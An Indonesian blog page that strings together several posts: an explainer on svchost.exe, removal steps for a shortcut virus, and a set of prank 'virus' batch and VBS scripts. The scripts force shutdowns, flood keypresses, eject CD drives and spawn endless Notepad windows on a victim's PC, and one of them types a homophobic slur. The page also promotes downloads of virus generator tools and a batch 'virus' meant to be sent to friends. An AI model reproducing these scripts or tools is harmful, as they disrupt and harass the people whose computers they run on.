Mengenal svchost.exe dan Fungsinya

Mengenal svchost.exe dan Fungsinya

Akhir-akhir ini banyak sekali virus yang menyerang pengguna windows. Karena hampir servisan cpu yang saya tangani sebagian besar karena virus yang mengakibatkan windows jadi error. Dan kebanyakan virus menyerangnya di file system windows yang bernama svchost.exe. Inilah bahasan saya kali ini Mengenal svchost.exe dan Fungsinya.

Awalnya, Microsoft menggunakan file .exe (executable) bagi service-service yang berjalan di Windows. Karena dirasa kurang efisien, Microsoft kemudian melakukan perombakan dengan mengubah service-service tadi dari menggunakan file-file .exe menjadi file .dll (Dynamic Link Library).

Dynamic Link Library (.dll) merupakan file yang dapat dipanggil dari file executable (.exe) maupun dari file .dll lain. Hal ini dirasa lebih menguntungkan karena sifat umumnya dapat dipakai oleh beberapa aplikasi pada saat yang bersamaan dan hanya diperlukan satu copy saja di memory atau disk. Programmer dapat mengatur agar service yang terdapat pada DLL tersebut dimuat ke memory hanya ketika diperlukan saja. Apabila tidak diperlukan maka DLL tersebut bisa dibuang dari memory.

Dengan demikian, maka aplikasi yang Anda buat dapat lebih menghemat penggunaan memory. Keuntungan kedua, aplikasi menjadi bersifat modular. Anda dapat melakukan update aplikasi yang Anda buat tanpa harus mengupdate file EXE. Dengan demikian Anda cukup menyertakan patches kepada program Anda tanpa Anda harus menyertakan seluruh aplikasi.Keuntungan lain adalah ukuran file EXE menjadi lebih kecil karena beberapa kode program diletakkan pada file DLL.

Jika anda melihat pada TaskManager, anda akan menyaksikan banyak proses dengan nama SVCHOST.EXE

Hal ini seringkali dimanfaatkan oleh para penulis WORM untuk melakukan rekayasa sosial dengan cara memberi nama induk worm dengan nama yang sama atau mirip svchost.exe, dengan harapan user akan mengira bahwa induk worm tersebut bagian dari komponen windows. Ya, seringkali user kebingungan membedakan svchost.exe milik Worm dengan svchost.exe milik WINDOWS.

Nah.. dari sini Anda mungkin bertanya-tanya..
Kenapa sich kok ada banyak proses dengan nama SVCHOST.EXE??

Begini nich.. sebagaimana layaknya Operating System, WINDOWS memiliki banyak sekali service-service yang harus dipanggil. Seperti yang sudah di jelaskan di awal tadi, masing-masing service tersebut tentunya harus dijalankan oleh suatu file executable. Jika seluruh service yang sedemikian banyak itu dijalankan oleh hanya sebuah file executable saja, maka tentu resiko terjadi kegagalan pemanggilan service tersebut akan sangat tinggi.

Untuk mengantisipasi hal itu, maka service-service tersebut dikelompok-kelompokkan sesuai dengan fungsinya. Tiap file SVCHOST.EXE dipanggil untuk menjalankan kelompok service yang berbeda. Misalnya SVCHOST.EXE yang pertama menjalankan group service untuk Audio, SVCHOST.EXE kedua menjalankan service-service Firewall, dan lain sebagainya. Karena pemisahan-pemisahan inilah banyak terdapat proses dengan nama SVCHOST.EXE

Ingin tau service-service apa saja yang berjalan di Windows Anda dan siapa yang menjalankannya? Buka Windows Command Processor Anda. Klik [Start] -> [Run] lalu ketik CMD

Ketik perintah TASKLIST /SVC lalu tekan ENTER. Perintah tersebut akan menampilkan proses yang sedang berjalan di komputer Anda beserta service-service apa saja yang dipanggil (jika ia menjalankan Service tertentu). Perintah ini berjalan pada Windows XP dan Vista.

Demikian sedikit penjelasan tentang SVCHOST.EXE, semoga bermanfaat.

[Read More...]

Script Jahil Yang Buat Geram Dan Menjengkelkan

Script Jahil Yang Buat Geram Dan Menjengkelkan

Kali ini kita buat beberapa script yang berfungsi pada OS windows, scriptnya akan berfungsi sesuai dengan fungsinya

Tidak perlu susah … karna script hanya di muat di notepad, type save nya cukup dengan format .VBS atau .bat

Langsung aja deh …

1). Memberi pesan dan shutdown komputer :

@echo off
msg * Aku tidak suka kamu
shutdown -c “Error! Kamu jelek sekali” -s

Note : save dengan .bat

2). Menyalakan tombol Caps lock secara simultan :

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

Note : save dengan extension .vbs

3). Buka/tutup CD drive secara terus menerus :

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Note : save dengan Extexsion .vbs

4). Tekan Enter secara simultan :

et wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

Note : save dengan ex.vbs

5). Mengetik pesan kita secara otomatis di notepad :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

Note : save dengan Ex.vbs

6). Menjalankan BACKSPACE secara simultan :

MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

Note : save dengan ex.vbs

7). Buka Notepad secara terus menerus :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Note : save dengan type .bat

8). Munculin 5 pilihan yang harus korban pilih :

@echo off
title The end of the world
cd C:\
:menu
cls
echo oops gw gak tanggung jawab lho apa yang barusan lu lakuin hehhe,,semuanya dh jadi tanggung jawab lu sendiri…
pause
echo pilih nama cwe yang lu suka =P :
echo 1. datanya bakal ilang lho.
echo 2. komputer nya corrupt lho
echo 3. heheh no comment deh klo yang ini
echo 4. mau mati pake jalan ini?
echo 5. bye bye…
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Note : save dengan .bat

9). Hack keyboard sehingga korban dipaksa mengetik ” You are a gay” secara simultan :

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “You are a gay”
loop

Note : save dengan ex.vbs

Saya tdk bertanggung jawab atas penyalah gunaan script2 di atas.. ini cuma mau share saja...

[Read More...]

Tips Cara Mengatasi Virus Shortcut 1234 Runmit

Cara Mengatasi Virus Shortcut 1234 Runmit

Virus shortcut 1234 Runmit, sekarang ini sudah banyak merajalela di pengguna komputer ataupun laptop. OK langsung saja menuju ke pembahasan tentang Cara Mengatasi Virus Shortcut 1234 Runmit.

Ciri-ciri terkena Virus Shortcut 1234 :

1). Virus Shortcut 1234 Runmit ini akan membuat File WATERMARK.EXE yang ada di dua tempat yaitu :

- C:\Program Files\Microsoft
- C:\Program Files\Common Files\Microsoft
Dan virus ini akan menyebar menjadi namaacakMGR.exe

2). Virus Shortcut 1234 Runmit ini menyerang flashdisk sangat mudah . Ciri Flashdisk yang kena Virus Shortcut 1234 Runmit ini terdapat 4 buah shortcut 1 buah file recycler dan autorun.inf

3). Setiap drive jika terkena virus ini akan terkena pula autorun.inf

Cara kerja Virus Shortcut 1234 Runmit :

1). Virus ini menular melalui Flashdisk walaupun autorun sudah kita matikan.

2). Virus Shortcut 1234 Runmit ini menginfeksi komputer / laptop kita tanpa kita sadari.

3). Jika diinstal ulang maka virus ini akan muncul lagi apapun alasannya karena virus ini tidak mempunyai file anak. Jadi semua induk.

4). Virus Shortcut 1234 Runmit dari flashdisk langsung membuat folder bernama C:\Program Files\Microsoft dan C:\Program Files\Common Files\Microsoft

5). Dan dia membuat backupan file di dalam Folder System Volume Information dan Recycle setiap harddisk termasuk flashdisk.

6). Setelah itu dia menginfeksi semua file berextensi dll, exe, dan htm.

7). Jika file-file Virus Shortcut 1234 Runmit dihapus oleh anda, maka virus akan kembali lagi.

Misalnya Virus Shortcut 1234 Runmit sudah menginfeksi file yang ada di D:\aaa\aaa.exe (hanya contoh). Kemudian folder aaa dihapus, karena ada virusnya. Lalu kita berpikir jika restart ulang Virus Shortcut 1234 Runmit akan hilang. Dan akhirnya memang berhasil. Tetapi jika kita menginstal software aaa.exe tadi di D:\aaa\ maka virus hasil backupan yang ada di System Volume Information dan Recycle setiap Harddrive akan terbangun dari tidurnya dan kembali menginfeksi virus itu dan dia membuat file watermark lagi didalam :\Program Files\Microsoft dan C:\Program Files\Common Files\Microsoft.

Cara Mengatasi Virus Shortcut 1234 Runmit :

1). Saat ini Maret 2011 belum ada antivirus yang bisa membersihkan Virus Shortcut 1234 Runmit ini.

2). Berarti anda harus install ulang windows anda.

3). Backup data anda, kemudian format drive yang akan di install windows. Kemudian install windows anda.

4). Setelah windows jadi, Jangan membuka-buka file yang ada di drive lainnya.

5). Langsung install antivirus AVG 2011 free dan update antivirus AVG tersebut.
Karena pengalaman saya baru antivirus AVG 2011 yg bisa mendeteksi, mengkarantina, dan menghapus file yg terinfeksi Virus Shortcut 1234 Runmit ini.

6). Matikan System Restore Windows untuk mempercepat proses scanning virus.

7). Kemudian scan drive selain drive yg baru anda install ulang. Virus Shortcut 1234 Runmit ini akan terdeteksi oleh AVG dengan nama ZBOT.

8). Scan juga flashdisk anda, setelah selesai hapus 4 file shortcut dan recycle di flashdisk anda secara manual. Berikut hasil scan flashdisk :

9). Selesai.

Selamat mencoba...

[Read More...]

The Ultimate Virus v1.20

The Ultimate Virus v1.20 | 615.72 Kb

IMPORTANT NOTICE!!

Do not terminate this program via task manager or your Explorer won't back! If this case happens, press CTRL+ALT+DEL to restart your computer (or if you using Windows XP, via Task Manager choose Log Off).

This file does not contains any virus on it. If you don't trust me, upload it to VirusTotal.com to take an online virus scanning.

Also, this program had been certified 100% VIRUS FREE by Softpedia.com.

(http://www.softpedia.com/progClean/Ultimate-Virus-Clean-118316.html)

If you found a virus on this program, it must be infected with another real virus! Delete it before it spread!

What's new (v1.20)

- Added Vista Red Screen of Death (even I'm not sure if this app can works on Windows Vista)

- Now it hide the desktop icons and taskbar without killing explorer.exe, make it more safe.

DISCLAIMER:

Use this program at your own risk. I am not responsible of any damage that caused of this program. If you disagree to what I said, don't use this program.

     Download Here :

The Ultimate Virus v1.20

[Read More...]

Virus Generator(DBVG) ver 1.7

Virus Generator(DBVG) ver 1.7 | 37.81 Kb

Sebuah tool yang dapat anda gunakan utk
membuat sebuah virus,dan silahkan
utk mendownloadnya dibawah ini ...

Download Here :
  

[Read More...]

Dirty Nazi Virus Generator v1.0

Dirty Nazi Virus Generator v1.0 | 23.06 Kb

Jika anda ingin mencoba membuat virus ini,Silahkan
download generator maker virusnya dibawah ini...

Download Here :

[Read More...]

How To Create a Simple Virus

Here is a way on how to create a simple batch file virus

Write it in a notepad
Cycle a message in your friend's
computer(code is given below)

Code:
@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

Save it as "Anything.BAT" and send it.

[Read More...]

Premium Porn Site XXX Password - Update

Ringkasan ini tidak tersedia. Harap klik di sini untuk melihat postingan.

[Read More...]